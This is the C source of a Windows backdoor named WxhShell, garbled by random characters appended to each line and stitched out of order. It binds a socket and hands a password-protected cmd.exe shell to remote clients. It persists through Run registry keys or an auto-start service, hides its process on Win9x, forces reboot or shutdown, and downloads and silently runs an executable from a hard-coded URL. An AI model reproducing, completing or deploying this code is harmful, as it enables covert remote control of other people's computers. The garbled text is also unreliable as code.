    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Opg_-Bf  
    else { iHc(e(CB<  
    closesocket(wsh); e&:%Rr]x  
    ExitThread(0); L'`Au/%S}  
    } LJb=9tp~  
    break; M=ag\1S&ZF  
    } 2ib,33 Z  
  // 获取shell 4I2:"CK06  
  case 's': { 8jL^q;R_(  
    CmdShell(wsh); ;/wH/!b  
    closesocket(wsh); *q,nALs  
    ExitThread(0); IgwHC0W  
    break; -} j(_] t  
  } +HWFoK  
  // 退出 +e*C`uP!  
  case 'x': { P2`F" Qsq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (;05=DsO  
    CloseIt(wsh); WoB'B|%  
    break; H<q|je}e  
    } I9aiAD0s  
  // 离开 09P2<oFLn  
  case 'q': { u9,dSR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1'(";  0I  
    closesocket(wsh); .{?; #Cdn  
    WSACleanup(); yX{7<\x   
    exit(1); ?q Q.Wj6Mj  
    break; eg?p)|  
        } fr04nl  
  } ;vPFRiFK  
  } [4YRyx&:++  
No[9m_  
  // 提示信息 5izpQ'>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m*jE\+)=^  
} o$%KbfXO]  
  } B:UPSX)A  
%uV,p!| )  
  return; R1Q,m  
} U,T#{  
iR{@~JN=)  
// shell模块句柄 4G;KT~Cgb  
int CmdShell(SOCKET sock) |T"j7  
{ +/[Rvh5WZ  
STARTUPINFO si; 5W|wDy  
ZeroMemory(&si,sizeof(si)); FYE(lEjxi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (6mw@gzr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VSCKWYy  
PROCESS_INFORMATION ProcessInfo; bJ"2|VNH(  
char cmdline[]="cmd"; Bfdfw +  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }W!w  
  return 0; 3$K[(>s  
} [okV[7  
Kx,X{$Pe  
// 自身启动模式 s m G?y~  
int StartFromService(void) IDqUiN  
{ vR5X  
typedef struct 1|>vk+;1h  
{ {c]dz7'?  
  DWORD ExitStatus; ;ZcwgsxTM  
  DWORD PebBaseAddress; 4L`,G:J,;  
  DWORD AffinityMask; nTs\zikP  
  DWORD BasePriority; <_*5BO  
  ULONG UniqueProcessId; 5&L*'kV@  
  ULONG InheritedFromUniqueProcessId; | a i#rU  
}   PROCESS_BASIC_INFORMATION; >QN-K]YLL  
,-k?"|tQ  
PROCNTQSIP NtQueryInformationProcess; "d~<{(:N^  
jVGAgR=[G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %yKcp5_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b">"NvlB  
AA ~7"2e  
  HANDLE             hProcess; 47*2QL^zj  
  PROCESS_BASIC_INFORMATION pbi; E#tfCM6  
vZS/? pU~~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^b$G.h{o!E  
  if(NULL == hInst ) return 0; Xm(#O1Vm(l  
%t1Z!xv_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >,k2|m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u6Ux nqNc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #wvGS%  
pBBKfv  
  if (!NtQueryInformationProcess) return 0; ;Z"Iv  
iGj,B =35  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rAW7Zp~KK  
  if(!hProcess) return 0; |t3}>+"?z  
g}hNsU=$5~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +gBD E :  
qQo*:3/];  
  CloseHandle(hProcess); eL)m(  
'h~IbP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %'=TYvB 2  
if(hProcess==NULL) return 0; U Lq`!1{   
QJR},nZ3  
HMODULE hMod; O)&ME  
char procName[255]; &\6(iL  
unsigned long cbNeeded; SLNOOEN  
]0%{ IgB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F`,bFQ  
 myOW^  
  CloseHandle(hProcess); ^Dfqc-]  
K~^o06 Y  
if(strstr(procName,"services")) return 1; // 以服务启动 6wq%4RI0  
p`U#  
  return 0; // 注册表启动 ~fcC+"7q/  
} @V Tw>=94  
Vz!{nL0Q(  
// 主模块 " ~6&rt  
int StartWxhshell(LPSTR lpCmdLine) I7|a,Q^f  
{ ev/)#i#s{  
  SOCKET wsl; Dq!YB[Z$:  
BOOL val=TRUE; ?aTC+\=  
  int port=0; CJ)u#PmkJ  
  struct sockaddr_in door; *?Wr^T  
+mKII>{  
  if(wscfg.ws_autoins) Install(); km lb,P  
a #p`l>rx  
port=atoi(lpCmdLine); X ) =-a  
qf [J-"o  
if(port<=0) port=wscfg.ws_port; vt(n: Xk  
PT&qys 2k  
  WSADATA data; 0s}gg[lj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tLdQO"  
NP~3!b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~:_10g]r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9 v ,y  
  door.sin_family = AF_INET; ~Z#\f5yv@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [fkt3fS  
  door.sin_port = htons(port); |-GbHfz  
0BjP|API  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { duCXCX^n T  
closesocket(wsl); }J\7IsM&  
return 1; C^U>{jf !  
} q="ymx~  
!|ic{1!_  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Go@1X]I  
closesocket(wsl); wb]Z4/j#  
return 1; SEZ08:>x r  
} r>"l:GZ  
  Wxhshell(wsl); .0X 5Vy  
  WSACleanup(); ~1,$  
G(hnrRxn  
return 0; #xhl@=W;  
i5*/ZA_  
} !g~u'r'1  
#Wv8+&n  
// 以NT服务方式启动 uBM%E OE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Mv'*.7  
{ j zZEP4  
DWORD   status = 0; HGj[\kU~  
  DWORD   specificError = 0xfffffff; ?#ywUEY* i  
$V_w4!:Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "*d%el\63  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %]F{aR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /KO2y0`  
  serviceStatus.dwWin32ExitCode     = 0; ?i~mt'O  
  serviceStatus.dwServiceSpecificExitCode = 0; 6gq`V,  
  serviceStatus.dwCheckPoint       = 0; nK]L0*s  
  serviceStatus.dwWaitHint       = 0; f~p[izt  
bD 1IY1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L9z5o(Aa  
  if (hServiceStatusHandle==0) return; o O1Fw1Y  
i^}DIx{  
status = GetLastError(); %IUTi6P l  
  if (status!=NO_ERROR) 6WLq>Jo  
{ de"+ABR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 86Xf6Ea  
    serviceStatus.dwCheckPoint       = 0; dFnu&u"  
    serviceStatus.dwWaitHint       = 0; _C$SaQty[Q  
    serviceStatus.dwWin32ExitCode     = status; 79'N/:.  
    serviceStatus.dwServiceSpecificExitCode = specificError; dW|S\S'&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 ^tetDz}  
    return; H|;BT  
  } 9\6ZdnEKu,  
f kdJgK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %b ^.Gw\L  
  serviceStatus.dwCheckPoint       = 0; xw1n;IO4  
  serviceStatus.dwWaitHint       = 0; U,~Z2L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); emS7q|^  
} r$!  
re@OPiXa v  
// 处理NT服务事件,比如:启动、停止 \e?w8R.6w^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G`u";w_  
{ $n<X'7@0  
switch(fdwControl) z'Fu} ho  
{ `ItPTSOi  
case SERVICE_CONTROL_STOP: 'd<1;Ayw  
  serviceStatus.dwWin32ExitCode = 0; FK,YVY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uup>WW  
  serviceStatus.dwCheckPoint   = 0; /JP%gD"8  
  serviceStatus.dwWaitHint     = 0; %h=cwT6  
  { nrz2f7d$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 59a7%w  
  } Jn1(-  
  return; vnv:YQV/ir  
case SERVICE_CONTROL_PAUSE: 2&:w_KJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E uk[ @1  
  break; k'1i quc#u  
case SERVICE_CONTROL_CONTINUE: SA -r61  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G:|=d0  
  break; D{, b|4  
case SERVICE_CONTROL_INTERROGATE: Z%Yq{tAt  
  break; zCpXF< _C  
}; 53?B.\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OjY#xO+'  
} { Em fw9L  
4jz2x #T  
// 标准应用程序主函数 X>s'_F?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! d" i  
{ :*E#w"$,j  
koOp:7r  
// 获取操作系统版本 kQ $.g<  
OsIsNt=GetOsVer(); `bRt_XGPmF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |(UkI?V  
!XrnD#  
  // 从命令行安装 fGDjX!3-S  
  if(strpbrk(lpCmdLine,"iI")) Install(); VaFv%%w  
K<D=QweOon  
  // 下载执行文件 EN@Pr `R  
if(wscfg.ws_downexe) { Kd^,NAg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G\o *j |  
  WinExec(wscfg.ws_filenam,SW_HIDE); eTY" "EWU  
} 2z=aP!9]  
0HS"Oxx'  
if(!OsIsNt) { v.e~m2u_F  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z3nmC-NE  
HideProc(); x[eho,6)  
StartWxhshell(lpCmdLine); 3h>5 6{P  
} :~dI2e\:  
else + |d[q?  
  if(StartFromService()) p#fV|2'  
  // 以服务方式启动 K6; sxF  
  StartServiceCtrlDispatcher(DispatchTable); ; Uf]-uS  
else >KnXj7  
  // 普通方式启动 ]tDuCZA  
  StartWxhshell(lpCmdLine); ?Y#x`DMh  
a2`|6M;  
return 0; jM|-(Es. )  
} d"hW45L  
jMB&(r  
!&8HA   
xO` O$ie  
=========================================== Oxhc!9F  
dQH9NsV7g  
P[bj {lo  
XCU>b[Cj,  
(cEjC`]  
QGQ}I  
" ;chz};zY  
k_%"#  
#include <stdio.h> d (8X?k.S  
#include <string.h> Y1h)0_0  
#include <windows.h> x5)YZ~5  
#include <winsock2.h> h`%}5})=  
#include <winsvc.h> h oL"K  
#include <urlmon.h> CYWL@<p,  
2<' 1m{  
#pragma comment (lib, "Ws2_32.lib") BD (  
#pragma comment (lib, "urlmon.lib") @ wJ|vW_.  
j_2yTz"G-  
#define MAX_USER   100 // 最大客户端连接数 zd+<1R;  
#define BUF_SOCK   200 // sock buffer | ?])]F  
#define KEY_BUFF   255 // 输入 buffer CHX- 4-84{  
982n G-"  
#define REBOOT     0   // 重启 R#i{eE*WF  
#define SHUTDOWN   1   // 关机 \z>L,U  
,"Nfo`7  
#define DEF_PORT   5000 // 监听端口 ?3{:[*  
#:n:3]t  
#define REG_LEN     16   // 注册表键长度 BK16~Wl  
#define SVC_LEN     80   // NT服务名长度 [N4#R  
^;]Q,*Q  
// 从dll定义API ct#3*]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LU7d\Ch  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z7'C;I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1'{A,!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BVk&TGa;[$  
yG<`7v  
// wxhshell配置信息 n_X)6 s  
struct WSCFG { ?$&iVN^UA  
  int ws_port;         // 监听端口 P7`sJ("#  
  char ws_passstr[REG_LEN]; // 口令 */JMPw&  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y &"rf   
  char ws_regname[REG_LEN]; // 注册表键名 TUV&9wKXo  
  char ws_svcname[REG_LEN]; // 服务名 "TboIABp:H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G`1FD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [b<AQFh<c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bzt(;>_8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P5^<c\Mr,Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C0$KpUB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *[^[!'kT&  
hLf<-NM  
}; 7 P$>T  
xJ18M@" j  
// default Wxhshell configuration i{ " g 7  
struct WSCFG wscfg={DEF_PORT, :n} NQzs  
    "xuhuanlingzhe", 2!+saf^-,  
    1, sF`ELrR \  
    "Wxhshell", &n)=OConge  
    "Wxhshell", ^YLk&A)X  
            "WxhShell Service", VS{po:]A  
    "Wrsky Windows CmdShell Service", Vo2{aK;  
    "Please Input Your Password: ", 3RyB 0 n  
  1,  A/zZ%h  
  "http://www.wrsky.com/wxhshell.exe", Rt^~db  
  "Wxhshell.exe" @1UC9}>  
    }; ~Kr_[X:d5  
Nhnw'9  
// 消息定义模块 );zLy?n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9+o`/lk1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .7|kxJq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #o]/&T=N=  
char *msg_ws_ext="\n\rExit."; X  !vBD  
char *msg_ws_end="\n\rQuit."; ^+m6lsuA  
char *msg_ws_boot="\n\rReboot..."; 1>BY:xZr  
char *msg_ws_poff="\n\rShutdown..."; ^mA^7jB  
char *msg_ws_down="\n\rSave to "; np#RBy  
&2EimP  
char *msg_ws_err="\n\rErr!"; k15B5  
char *msg_ws_ok="\n\rOK!"; L&WhX3$u  
Pl}>  
char ExeFile[MAX_PATH]; \q0wY7w  
int nUser = 0; ?'dsiA[  
HANDLE handles[MAX_USER]; )Zcw G(o0  
int OsIsNt; 9Rg|oCP_  
0+]ol:i  
SERVICE_STATUS       serviceStatus; pW>?%ft.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d 1 8>0R  
};z[x2l^  
// 函数声明 &u@<0 1=  
int Install(void); I|27%i  
int Uninstall(void); drr n&y  
int DownloadFile(char *sURL, SOCKET wsh); ah (lH5r  
int Boot(int flag); CQ`$' oy?W  
void HideProc(void); <oc"!c;T  
int GetOsVer(void); xElHYh(\  
int Wxhshell(SOCKET wsl); :Rq>a@Rp  
void TalkWithClient(void *cs); ]26 Q*.1~  
int CmdShell(SOCKET sock); (")IU{>c6  
int StartFromService(void); 9mEt**s Ur  
int StartWxhshell(LPSTR lpCmdLine); ^s_BY+#  
;c!}'2>vM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,1}c% C*,Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F"k.1.  
?Z ]5 [  
// 数据结构和表定义 |@a.dgz,  
SERVICE_TABLE_ENTRY DispatchTable[] = /i${[1  
{ p%8v+9+h2  
{wscfg.ws_svcname, NTServiceMain}, h*2NFL~#  
{NULL, NULL} -f+U:/'.>v  
}; xM dbS4&!  
(H\)BS7#R  
// 自我安装 _h=kjc}[.O  
int Install(void) M+mO4q6  
{ d'4^c,d  
  char svExeFile[MAX_PATH]; eiNF?](3O  
  HKEY key; _wC4n }J  
  strcpy(svExeFile,ExeFile); ]CFh0N|(L  
nbVlP  
// 如果是win9x系统,修改注册表设为自启动 b xU13ESv  
if(!OsIsNt) { PW[NW-S`c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `H_.<``>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P2q'P&  
  RegCloseKey(key); `pHlGbrW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nMniHB'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uEK9  
  RegCloseKey(key); eq|G\XJ  
  return 0; }3"FQ/6C  
    } Q9UBxpDV:  
  } :2qUel\PEC  
} Zi0B$3iOb  
else { :KJG3j?   
S-M| 6fv  
// 如果是NT以上系统,安装为系统服务 %(c5T)B9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @bc=O1vX~;  
if (schSCManager!=0) 8b^v@|)N  
{ xS4B"/  
  SC_HANDLE schService = CreateService A 11w{`EM  
  ( &s +DK `  
  schSCManager, <rO0t9OH  
  wscfg.ws_svcname, qB`-[A9HPe  
  wscfg.ws_svcdisp, KNkVI K  
  SERVICE_ALL_ACCESS, `YZK$ -,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A[/_}bI|  
  SERVICE_AUTO_START, 9{{|P=  
  SERVICE_ERROR_NORMAL, J73B$0FP  
  svExeFile, [ _jd  
  NULL, 8f^QO:  
  NULL, /G zA89N(  
  NULL, u9t@%H)lZ  
  NULL, XzX-Q'i=n0  
  NULL O[N}@%HMW  
  ); *bl*R';  
  if (schService!=0) $*%ipD}f  
  { @Gh?|d7bD  
  CloseServiceHandle(schService); "|2|Vju%  
  CloseServiceHandle(schSCManager); f`8]4ms"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); * 5H  
  strcat(svExeFile,wscfg.ws_svcname); 7+,6 m!4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (-RZ|VdYg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y5td o'Ex  
  RegCloseKey(key); sd@JQ%O  
  return 0; ^`W8>czi  
    } 5$v,%~$Xds  
  } @AXRKYQ{t  
  CloseServiceHandle(schSCManager); +YL9gNN>P  
} ZQZBap"  
} Po%+:0oX  
nX@lR~g%F  
return 1; KRY%B[k  
} h83;}>  
'u \my  
// 自我卸载 &0E>&1`7  
int Uninstall(void) *u2pk>y)  
{ v4?qI >/  
  HKEY key; "kLu]M<  
'|zkRdB*Lq  
if(!OsIsNt) { 's.cwB: #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7X Z5CX&  
  RegDeleteValue(key,wscfg.ws_regname); $\W|{u`  
  RegCloseKey(key); z,6X{=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x=UwyZ  
  RegDeleteValue(key,wscfg.ws_regname); : MOr?"  
  RegCloseKey(key); ?0v(_ v  
  return 0; `)9nBZ  
  } 4K_fN  
} tWs ]Zd  
} tD G[}j  
else {  H %Cb  
% R18  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Zt=1Tv  
if (schSCManager!=0) >S3,_@C  
{ G_fP%ovh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dr;-2$Kt/&  
  if (schService!=0) B74L/h  
  { C^}2::Qu  
  if(DeleteService(schService)!=0) { To x{Sk3L  
  CloseServiceHandle(schService); SJYy,F],V"  
  CloseServiceHandle(schSCManager); QKj-"y[  
  return 0; `zr%+  
  } r%M.rYLG{  
  CloseServiceHandle(schService); So ?ScX\lG  
  } FME&v Uh/  
  CloseServiceHandle(schSCManager); . 6wyu7oK  
} w]4=uL6  
} g]'RwI  
oKl^Ttr  
return 1; [ n[!RddY  
} uR|?5DK  
wVI 1sR  
// 从指定url下载文件 Q(P'4XCm  
int DownloadFile(char *sURL, SOCKET wsh) q*^Y8s~3I  
{ $1QQidB  
  HRESULT hr; J! ;g.q  
char seps[]= "/"; x%acWeV5  
char *token;  2 EG`  
char *file; 9<0p1WO  
char myURL[MAX_PATH]; ~! *xi  
char myFILE[MAX_PATH]; 6g/ <FM  
9uV'# sR  
strcpy(myURL,sURL); J3oEN'8S  
  token=strtok(myURL,seps); W`baD!*  
  while(token!=NULL) 9y BENvq  
  { MXS N <  
    file=token; 7j9:s>D  
  token=strtok(NULL,seps); Yx- 2ux  
  } 0mJvoz\j8  
K;%P_f/KJP  
GetCurrentDirectory(MAX_PATH,myFILE); E7A psi4]  
strcat(myFILE, "\\"); w"s;R8  
strcat(myFILE, file); %M=[h2SN  
  send(wsh,myFILE,strlen(myFILE),0); m5O;aj* i  
send(wsh,"...",3,0); v/n4Lp$W^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \a:#e%]qz9  
  if(hr==S_OK) &RRHmJI:  
return 0; g7($lt>  
else |}~2=r z  
return 1; 7H$0NMP  
tb^8jC  
} Nm{\?  
.ZuRH_pI  
// 系统电源模块 r(ej=aR  
int Boot(int flag) )E--E+j  
{ R,mOV8y"W[  
  HANDLE hToken; Fai_v{&?  
  TOKEN_PRIVILEGES tkp; k lLhi<*  
` ZO#n  
  if(OsIsNt) { Z(fXN$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^[K3]*!@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r-M:YB  
    tkp.PrivilegeCount = 1; k)Y}X)\36  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :n'$Txf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :%[=v (G[  
if(flag==REBOOT) { q=NI}k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i/ED_<_ Vg  
  return 0; -f&16pc1t  
} P`/;3u/P  
else { yc4?'k!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -__RFxG  
  return 0; 9`83cL  
} F`/-Q>Q  
  } VMry$  
  else { g"k1O  
if(flag==REBOOT) { 8>T#sO?+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +D[|Mi  
  return 0; ~vqVASUc,  
} |Ai/q6u  
else { (0L7Ivg<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3NI3b-7  
  return 0; pkW }\r  
} 3V)ef$Y0  
} 8nt3S m  
{M`yYeo  
return 1; 9g*O;0uz  
} =?o,' n0  
~0}gRpMW  
// win9x进程隐藏模块 i!H)@4jX  
void HideProc(void) &|/@;EA$8  
{ 4o+SSS  
1J`<'{*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #6t 4 vJ1  
  if ( hKernel != NULL ) "r!>p\.0O  
  { IM.sW'E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nkI+"$Rz0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _n6ge*,E  
    FreeLibrary(hKernel); 8Ld`$_E  
  } ^!Y]l  
[i[*xf-B  
return; 4?+K:e #F  
} a`c#- je  
4LG[i}u.N  
// 获取操作系统版本 26SXuFJ@  
int GetOsVer(void) $w,?%i97  
{ 4Zz%vY  
  OSVERSIONINFO winfo; W<f-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gN,O)@N'd3  
  GetVersionEx(&winfo); &cZQ,o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,;3bPjey  
  return 1; QO1pwrX<  
  else dTV4 Q`Z  
  return 0; |PGF g0li  
} g=Gd|  
I5nxY)v  
// 客户端句柄模块 OyI?P_0u  
int Wxhshell(SOCKET wsl) `,lm:x+(0  
{ YmrrZ&]q  
  SOCKET wsh; d=` a-R0  
  struct sockaddr_in client; 968<yO]  
  DWORD myID; {6*$yLWK  
\,UpFuU\  
  while(nUser<MAX_USER) {Ad4H[]|]  
{ gmdJ8$  
  int nSize=sizeof(client); pUc N-WA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BiFU3FlTf  
  if(wsh==INVALID_SOCKET) return 1; (/mR p  
m:6^yfS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1X8P v*,  
if(handles[nUser]==0) y4\(ynk  
  closesocket(wsh); JfOBZQ  
else a&^HvXO(>(  
  nUser++; ro&/  
  } a+HGlj 2>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [Rj_p&'  
^sF/-/ {?U  
  return 0; { l E\y9  
} 0W_olnZ  
q8m{zSr  
// 关闭 socket WGmXq.  
void CloseIt(SOCKET wsh) (vR9vOpJ  
{ r\PO?1  
closesocket(wsh); ZVelKI8>  
nUser--; :P2{^0$  
ExitThread(0); :VkuK@Th`  
} ;[qA?<GJ  
<?2g\+{s9  
// 客户端请求句柄 CXQ+h  
void TalkWithClient(void *cs) 5dvP~sw  
{ WyA`V C  
J-UqH3({Z,  
  SOCKET wsh=(SOCKET)cs; mNII-X G  
  char pwd[SVC_LEN]; lU\v8!Ji  
  char cmd[KEY_BUFF]; pZ`^0#Fo  
char chr[1]; w@![rH6~F  
int i,j; `4SwdW n  
D'8xP %P  
  while (nUser < MAX_USER) { MyZ5~jnr\  
&GfDo4$  
if(wscfg.ws_passstr) { N9dx^+\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rSgOQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5cUz^ >  
  //ZeroMemory(pwd,KEY_BUFF); ; b`kN;s  
      i=0; e,?qwZK:y  
  while(i<SVC_LEN) { nF5\iV  
HZawB25{  
  // 设置超时 Y5ZBP?P  
  fd_set FdRead; 3wYhDxY1  
  struct timeval TimeOut; g[c_rty  
  FD_ZERO(&FdRead); |j2$G~B6  
  FD_SET(wsh,&FdRead); 7DZZdH$Fm  
  TimeOut.tv_sec=8; YHp]O+c  
  TimeOut.tv_usec=0; XLgp.w;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N,3 )`Vm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DqJzsk'd3  
"C]v   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qo*%S  
  pwd=chr[0]; ;hV-*;>  
  if(chr[0]==0xd || chr[0]==0xa) { ,I2x&Ys&.  
  pwd=0;  "d; T1  
  break; 9Ai 3p  
  } CcJ%; .V,T  
  i++; I3.cy i  
    } Op_(10|  
3/{,}F$  
  // 如果是非法用户,关闭 socket j5:/Gl8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4=nh' U38  
} >ufLRGL>  
Q,LDn%+;B*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "$I8EW/1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FyhLMW3  
O<`N0  
while(1) { }~#Tsv  
o)L)|  
  ZeroMemory(cmd,KEY_BUFF); uPVO!`N3  
0{'m":D9  
      // 自动支持客户端 telnet标准   J $^"cCMr  
  j=0; h( DmSW  
  while(j<KEY_BUFF) { 3E-dhSz:i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xFScj0Y  
  cmd[j]=chr[0]; |W\U9n  
  if(chr[0]==0xa || chr[0]==0xd) { v.6K;TY.  
  cmd[j]=0; 8U)*kmq  
  break; .[:y`PCF  
  } 5v[2R.eT-  
  j++; nIqNhJ+  
    } ts/Ha*h  
[gIvB<Uv  
  // 下载文件 <{cf'"O7)  
  if(strstr(cmd,"http://")) { nu `R(2/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L2Fi/UWM  
  if(DownloadFile(cmd,wsh)) (:>Sh0.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B%I<6E[D  
  else z7s}-w,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); veAdk9  
  } NtG^t}V  
  else { ++!'6! l  
0i>>CvAl}  
    switch(cmd[0]) { <xlyk/  
  Tl L,dPM  
  // 帮助 FL[,?RU?2  
  case '?': { >aAsUL5W  
